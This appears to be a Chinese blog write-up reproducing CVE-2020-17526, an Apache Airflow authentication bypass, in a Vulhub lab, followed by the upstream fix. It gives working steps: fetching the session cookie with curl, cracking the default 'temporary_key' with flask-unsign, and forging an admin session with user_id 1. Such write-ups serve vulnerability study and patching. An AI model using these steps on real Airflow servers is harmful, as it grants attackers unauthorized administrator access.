当前位置:网站首页>漏洞复现----49、Apache Airflow 身份验证绕过 (CVE-2020-17526)
漏洞复现----49、Apache Airflow 身份验证绕过 (CVE-2020-17526)
2022-07-07 21:51:00 【七天啊】
一、Apache Airflow简介
Apache Airflow是python语言编写的一个以编程方式创作、安排和监控工作流程的平台。
除了几个服务器端 python 脚本之外,它还有一个基于Flask编写的Web应用程序,该Web 应用程序 使用Flask 的无状态签名 cookie 来存储和管理成功的身份验证。在安装过程中,可以使用Airflow命令创建用户,在文档中该用户是具有管理员角色的用户。任何后续用户都可以使用Airflow python 脚本从 Web 界面或命令行创建。
二、漏洞成因
Airflow<=1.10.13版本
CVE-2020-17526漏洞成因是:
由于使用默认安全密钥对身份验证信息进行签名,导致安全配置错误。当用户登录时,会设置一个名为session的 cookie ,其中包含 json 格式的用户认证信息。json 中名为user_id的密钥标识了登录的用户。此 json 使用在airflow.cfg配置文件中配置的字符串进行签名。在 1.10.15 和 2.0.2 版本之前,此字符串设置为temporary_key。官方文档和安装消息都没有说明更改此密钥。
默认密钥为temporary_key造成的问题:
攻击者可以创建与目标相同版本的本地安装,以管理员身份登录并将会话cookie重播到目标以在远程计算机上以管理员身份登录。
在这种情况下,可以使用工具来解密和识别明文 json 字符串,然后更新user_id参数并将 cookie 重新发送到服务器以模拟指定了user_id的用户。
curl -v url:显示url的整个响应过程flask-unisign解释:上文提到web程序是基于Flask编写,Flask cookie 是经过签名而不是加密的,因此获得会话 cookie 后,可以尝试暴力破解服务器的密钥。
三、漏洞复现
以vluhub靶场为例:
docker-compose run airflow-init
docker-compose up -d
登陆页面如下
访问登陆页面,从Cookie 中获取会话字符串:curl -v http://192.168.0.65:8080/admin/airflow/login?next=%2Fadmin%2F
安装flask-unsign工具,破解会话密钥
pip3 install flask-unsign[wordlist]
pip3 install flask-unsign
flask-unsign -u -c eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOTkwNWUzODllMDVkMGM1ZDg1MGY3MjQ2NTIwOTg4YjBjNDIyMGM3NCJ9.YsTwjQ.6yxe4ePTy6CRnwZ7z0uok9iQUg8

利用获取到的密钥,生成user_id为1的会话:
flask-unsign -s --secret " temporary_key" -c "{
'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}

利用得到的session替换掉原本的的session:
eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlLCJ1c2VyX2lkIjoiMSJ9.YsT78A.2Ko-OKIeb38SsKijmv1YRuC-Npc

访问成功:
四、漏洞防御
CVE-2020-17526 在版本 1.10.15 和 2.0.2 中通过删除静态字符串并添加b64encode(os.urandom(16)).decode('utf-8')以生成随机字符串作为密钥进行修复Web 应用程序服务器将用于身份验证。此外,如果发现密钥是临时键,则将以下代码添加到 webserver 命令模块以关闭服务器。
if conf.get('webserver', 'secret_key') == 'temporary_key':
from rich import print as rich_print
rich_print(
"[red][bold]ERROR:[/bold] The `secret_key` setting under the webserver config has an insecure "
"value - Airflow has failed safe and refuses to start. Please change this value to a new, "
"per-environment, randomly generated string, for example using this command `[cyan]openssl rand "
"-hex 30[/cyan]`",
file=sys.stderr,
)
sys.exit(1)
参考链接:
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
边栏推荐
- Use JfreeChart to generate curves, histograms, pie charts, and distribution charts and display them to JSP-1
- 智慧社区和智慧城市之间有什么异同
- 网络安全-CSRF
- USB (十七)2022-04-15
- Installing vmtools is gray
- kubernetes的简单化数据存储StorageClass(建立和删除以及初步使用)
- Grid
- Network security - information query of operating system
- Lecture 30 linear algebra Lecture 5 eigenvalues and eigenvectors
- Cases of agile innovation and transformation of consumer goods enterprises
猜你喜欢

iNFTnews | NFT技术的广泛应用及其存在的问题

Gee (IV): calculate the correlation between two variables (images) and draw a scatter diagram

Cascade-LSTM: A Tree-Structured Neural Classifier for Detecting Misinformation Cascades-KDD2020

PCL . VTK files and Mutual conversion of PCD

Brush question 3

十四、数据库的导出和导入的两种方法

Inftnews | the wide application of NFT technology and its existing problems

Oracle-数据库的备份与恢复

二叉树(Binary Tree)

Understand the session, cookie and token at one time, and the interview questions are all finalized
随机推荐
为什么市场需要低代码?
Adrnoid开发系列(二十五):使用AlertDialog创建各种类型的对话框
Gee (IV): calculate the correlation between two variables (images) and draw a scatter diagram
UE4_UE5蓝图command节点的使用(开启关闭屏幕响应-log-发布全屏显示)
Guessing game (read data from file)
[language programming] exe virus code example
二叉树(Binary Tree)
JMeter-接口自动化测试读取用例,执行并结果回写
Inftnews | web5 vs Web3: the future is a process, not a destination
Line test - graphic reasoning - 1 - Chinese character class
U盘拷贝东西时,报错卷错误,请运行chkdsk
网络安全-对操作系统进行信息查询
2021-01-12
Brush question 4
网络安全-永恒之蓝
30讲 线性代数 第五讲 特征值与特征向量
聊聊支付流程的设计与实现逻辑
消息队列与快递柜之间妙不可言的关系
Cases of agile innovation and transformation of consumer goods enterprises
Use JfreeChart to generate curves, histograms, pie charts, and distribution charts and display them to jsp-2